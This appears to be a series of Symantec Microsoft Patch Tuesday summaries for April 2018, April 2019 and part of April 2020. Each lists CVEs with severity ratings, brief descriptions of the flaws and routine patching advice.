A privilege escalation vulnerability exists when Microsoft Visual Studio updater service improperly handles file permissions. An attacker who successfully exploited this vulnerability could overwrite arbitrary file content in the security context of the local system.
9. Cumulative Security Updates for Microsoft Dynamics
Dynamics Business Central Remote Code Execution Vulnerability (CVE-2020-1022) MS Rating: Critical
An remote code execution vulnerability exists in Microsoft Dynamics Business Central. An attacker who successfully exploited this vulnerability could execute arbitrary shell commands on victim's server.
Microsoft Dynamics Business Central/NAV Information Disclosure (CVE-2020-1018) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Dynamics Business Central/NAV on-premise does not properly hide the value of a masked field when showing the records as a chart page. The attacker who successfully exploited the vulnerability could see the information that are in a masked field.
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability (CVE-2020-1049) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected Dynamics server.
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability (CVE-2020-1050) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected Dynamics server.
10. Cumulative Security Updates for Microsoft Defender
Microsoft Defender Privilege Escalation Vulnerability (CVE-2020-1002) MS Rating: Important
A privilege escalation vulnerability exists when the MpSigStub. exe for Defender allows file deletion in arbitrary locations.
Windows Defender Antimalware Platform Hard Link Privilege Escalation Vulnerability (CVE-2020-0835) MS Rating: Important
A privilege escalation vulnerability exists when Windows Defender antimalware platform improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
11. Cumulative Security Updates for Microsoft Remote Desktop App
Microsoft Remote Desktop App for Mac Privilege Escalation Vulnerability (CVE-2020-0919) MS Rating: Important
A privilege escalation vulnerability exists in Remote Desktop App for Mac in the way it allows an attacker to load unsigned binaries. An attacker could then install programs; view, change, or delete data with the logged in user's privileges.
Microsoft RMS Sharing App for Mac Privilege Escalation Vulnerability (CVE-2020-1019) MS Rating: Important
A privilege escalation vulnerability exists in RMS Sharing App for Mac in the way it allows an attacker to load unsigned binaries. An attacker could then install programs; view, change, or delete data with the logged in user's privileges.
12. Security Update for Microsoft YourPhone Application for Android
Microsoft YourPhone Application for Android Authentication Bypass Vulnerability (CVE-2020-0943) MS Rating: Important
An authentication bypass vulnerability exists in Microsoft YourPhoneCompanion application for Android, in the way the application processes notifications generated by work profiles. This could allow an unauthenticated attacker to view notifications.
13. Security Update for Microsoft MSR JavaScript Cryptography Library
MSR JavaScript Cryptography Library Security Bypass Vulnerability (CVE-2020-1026) MS Rating: Important
A security bypass vulnerability exists in the MSR JavaScript Cryptography Library that is caused by multiple bugs in the library's Elliptic Curve Cryptography (ECC) implementation. An attacker could potentially abuse these bugs to learn information about a server's private ECC key (a key leakage attack) or craft an invalid ECDSA signature that nevertheless passes as valid.
14. Security Update for Microsoft OneDrive for Windows
OneDrive for Windows Privilege Escalation Vulnerability (CVE-2020-0935) MS Rating: Important
A privilege escalation vulnerability exists when the OneDrive for Windows Desktop application improperly handles symbolic links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – April 2018
This month the vendor has patched 66 vulnerabilities, 22 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the April 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Microsoft Visual Studio
Microsoft Hyper-V
Microsoft EOT Font Engine
Microsoft Windows
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0870) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-1018) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-1020) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0991) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0988) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0996) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-1000) MS Rating: Critical
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could provide an attacker with information to further compromise the user's computer or data.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0981) MS Rating: Critical
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could provide an attacker with information to further compromise the user's computer or data.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0979) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0980) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0993) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0994) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0995) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-1019) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Browser Memory Corruption Vulnerability (CVE-2018-1023) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0997) MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0998) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge PDF Reader improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0892) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-1001) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0987) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Internet Explorer. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0989) MS Rating: Important
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could provide an attacker with information to further compromise the user's computer or data.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0990) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft EOT Font Engine
Windows EOT Font Engine Remote Code Execution (CVE-2018-1010) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Windows EOT Font Engine Remote Code Execution (CVE-2018-1012) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Windows EOT Font Engine Remote Code Execution (CVE-2018-1013) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Windows EOT Font Engine Remote Code Execution (CVE-2018-1015) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Windows EOT Font Engine Remote Code Execution (CVE-2018-1016) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
Cumulative Security Update for Microsoft Office
Microsoft Office Graphics Remote Code Execution Vulnerability (CVE-2018-1028) MS Rating: Important
A remote code execution vulnerability exists when the Office graphics improperly handles specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could take control of the affected system.
Microsoft Office Graphics Information Disclosure Vulnerability (CVE-2018-1007) MS Rating: Important
An information disclosure vulnerability exists when an Office Graphics component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Microsoft Outlook Information Disclosure Vulnerability (CVE-2018-0950) MS Rating: Important
An information disclosure vulnerability exists when Office renders Rich Text Format (RTF) email messages containing OLE objects when a message is opened or previewed. This vulnerability could potentially result in the disclosure of sensitive information to a malicious site.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-0920) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-1011) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-1026) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-1027) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-1029) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-1030) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-1032) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-1034) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-1005) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-1014) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted URL to a user of an affected SharePoint server.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0887) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0968) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0969) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0970) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0971) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0972) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0973) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0974) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0975) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0960) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Elevation of Privilege (CVE-2018-0963) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Cumulative Security Update for Microsoft Visual Studio
Microsoft Visual Studio Information Disclosure Vulnerability (CVE-2018-1037) MS Rating: Important
An information disclosure vulnerability exists when Visual Studio improperly discloses the contents of its memory. An attacker who exploited the vulnerability could view uninitialized memory from the computer used to compile a program database file.
Cumulative Security Update for Microsoft Hyper-V
Hyper-V Information Disclosure (CVE-2018-0957) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Hyper-V Information Disclosure (CVE-2018-0964) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Cumulative Security Update for Microsoft Windows
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-1004) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Active Directory Security Feature Bypass Vulnerability (CVE-2018-0890) MS Rating: Important
A security feature bypass vulnerability exists when Active Directory incorrectly applies Network Isolation settings. To exploit this vulnerability, an attacker could run a specially crafted application.
HTTP.sys Denial of Service Vulnerability (CVE-2018-0956) MS Rating: Important
A denial of service vulnerability exists in the HTTP 2.0 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP 2.0 requests. An attacker who successfully exploited the vulnerability could create a denial of service condition, causing the target system to become unresponsive.
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability (CVE-2018-0976) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP service on the target system to stop responding.
Windows SNMP Service Denial of Service Vulnerability (CVE-2018-0967) MS Rating: Important
A denial of service vulnerability exists in the way that Windows SNMP Service handles malformed SNMP traps. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft DirectX Graphics Kernel Subsystem Elevation of Privilege Vulnerability (CVE-2018-1009) MS Rating: Important
An elevation of privilege vulnerability exists when Windows improperly handles objects in memory and incorrectly maps kernel memory. In a local attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to take control over the affected system.
Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-1003) MS Rating: Important
A buffer overflow vulnerability exists in the Microsoft JET Database Engine that could allow remote code execution on an affected system. An attacker who successfully exploited this vulnerability could take control of an affected system.
OpenType Font Driver Elevation of Privilege Vulnerability (CVE-2018-1008) MS Rating: Important
An elevation of privilege vulnerability exists in Windows Adobe Type Manager Font Driver (ATMFD. dll) when it fails to properly handle objects in memory.
Device Guard Security Feature Bypass Vulnerability (CVE-2018-0966) MS Rating: Important
A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed.
Microsoft Wireless Keyboard 850 Security Feature Bypass Vulnerability (CVE-2018-8117) MS Rating: Important
A security feature bypass vulnerability exists in the Microsoft Wireless Keyboard 850 which could allow an attacker to reuse an AES encryption key to send keystrokes to other keyboard devices or to read keystrokes sent by other keyboards for the affected devices. An attacker would first have to extract the AES encryption key from the affected keyboard device.
Microsoft Graphics Component Denial of Service Vulnerability (CVE-2018-8116) MS Rating: Moderate
A denial of service vulnerability exists in the way that Windows handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – April 2019
This month the vendor has patched 74 vulnerabilities, 14 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the April 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Exchange
Microsoft Windows
XML Core Service
Graphics Device Interface (GDI)
LUA File Virtualization Filter Driver (Luafv.sys)
Jet Database Engine
Azure DevOps Server
Team Foundation Server
ASP.NET
Open Enclave Software Development Kit
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0739) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0753) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0806) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0810) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0812) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0860) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0861) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0829) MS Rating: Critical
A memory-corruption vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2019-0833) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Edge handles objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system.
Microsoft Browsers Tampering Vulnerability (CVE-2019-0764) MS Rating: Important
A tampering vulnerability exists when Microsoft browsers fails to properly validate input under specific conditions. An attacker can exploit this issue to pass custom command line parameters.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0752) MS Rating: Important
A memory-corruption vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Microsoft Scripting Engine Information Disclosure Vulnerability (CVE-2019-0835) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine handles objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0842) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript scripting engine handles objects in memory. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0862) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript scripting engine handles objects in memory. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
VBScript Remote Code Execution Vulnerability (CVE-2019-0794) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript scripting engine handles objects in memory. An attacker can exploit this issue to gain access to the affected system. Successful exploitation of this vulnerability requires an attacker to host a specially crafted website designed to invoke VBScript through a web browser.
Cumulative Security Update for Microsoft Office
Office Remote Code Execution Vulnerability (CVE-2019-0801) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Office fails to properly handle certain files. Successful exploitation of this vulnerability requires an attacker to convince a user to open a specially crafted URL file that points to an Excel or PowerPoint file that was also downloaded.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0823) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file that causes arbitrary code execution on the affected system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0824) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file that causes arbitrary code execution on the affected system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0825) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file that causes arbitrary code execution on the affected system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0826) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file that causes arbitrary code execution on the affected system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0827) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file that causes arbitrary code execution on the affected system.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0830) MS Rating: Important
A cross-site-scripting vulnerability exists when Microsoft SharePoint Server fails to properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0831) MS Rating: Important
A cross-site-scripting vulnerability exists when Microsoft SharePoint Server fails to properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-0828) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker can exploit this vulnerability to run arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Exchange
Microsoft Exchange Spoofing Vulnerability (CVE-2019-0817) MS Rating: Important
A spoofing vulnerability exists in Microsoft Exchange Server when Outlook Web Access (OWA) fails to properly handle web requests. An attacker can exploit this vulnerability to perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information. An attacker could also redirect the user to a malicious website that could spoof content or the vulnerability could be used as a pivot to chain an attack with other vulnerabilities in web services. Successful exploitation of this vulnerability requires an attacker to send a specially crafted email containing a malicious link to a user, or use a chat client to social-engineer a user into clicking the malicious link.
Microsoft Exchange Spoofing Vulnerability (CVE-2019-0858) MS Rating: Important
A spoofing vulnerability exists in Microsoft Exchange Server when Outlook Web Access (OWA) fails to properly handle web requests. An attacker can exploit this vulnerability to perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information. An attacker could also redirect the user to a malicious website that could spoof content or the vulnerability could be used as a pivot to chain an attack with other vulnerabilities in web services. Successful exploitation of this vulnerability requires an attacker to send a specially crafted email containing a malicious link to a user, or use a chat client to social-engineer a user into clicking the malicious link.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Elevation of Privilege Vulnerability (CVE-2019-0685) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control of an affected system.
Win32k Elevation of Privilege Vulnerability (CVE-2019-0859) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control of an affected system.
Win32k Elevation of Privilege Vulnerability (CVE-2019-0803) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control of an affected system.
